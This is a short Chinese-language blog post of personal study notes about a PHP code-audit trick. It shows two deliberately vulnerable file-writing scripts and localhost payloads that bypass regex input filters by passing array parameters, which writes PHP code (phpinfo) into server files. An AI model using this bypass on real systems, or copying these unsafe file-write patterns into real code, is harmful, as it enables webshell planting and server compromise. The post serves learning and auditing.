Sky's blog

2017.12.11学习笔记

Word count: 355 / Reading time: 2 min
2017/12/11 Share

前记

什么都不写就凉了,于是又开始努力学习新知识了~~

一个审计的小trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}

function write_cache($title, $content)
{
if (!is_valid($title, $content)) {
exit("title or content error");
}

$filename = "1.php";
file_put_contents($filename, $content);
}
$title = $_GET['title'];
$content = $_GET['content'];
write_cache($title,$content);

主要问题还是在于

1
2
3
4
5
function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}

验证函数的弱类型问题
如果正常传入参数,显然是没有问题的
但如果我们传入数组的话:
payload:

1
http://localhost/web/trick1/index.php?title=sky&content[]=<?php%20phpinfo();

可以清楚看见

1
2
3
4
H:\wamp64\www\web\trick1\index.php:5:string 'skyArray' (length=8)
H:\wamp64\www\web\trick1\index.php:16:
array (size=1)
0 => string '<?php phpinfo();,123' (length=20)

此时的数组,传入验证函数里的时候,会变成Array,这样就可以完美的绕过检测了
再看一题:

1
2
3
4
5
6
<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
file_put_contents('config.php', $text);

此时我们传入payload:

1
http://localhost/web/trick1/index.php?text=%3C?php%20phpinfo();

会回显:

1
error!

明显我们的shell被waf拦下了,但如果利用这个弱比较的trick:

1
http://localhost/web/trick1/index.php?text[]=%3C?php%20phpinfo();

则可以成功写入shell

后记

菜鸡太菜……今天才知道这个技巧,大佬们求轻虐

CATALOG
  1. 1. 前记
  2. 2. 一个审计的小trick
  3. 3. 后记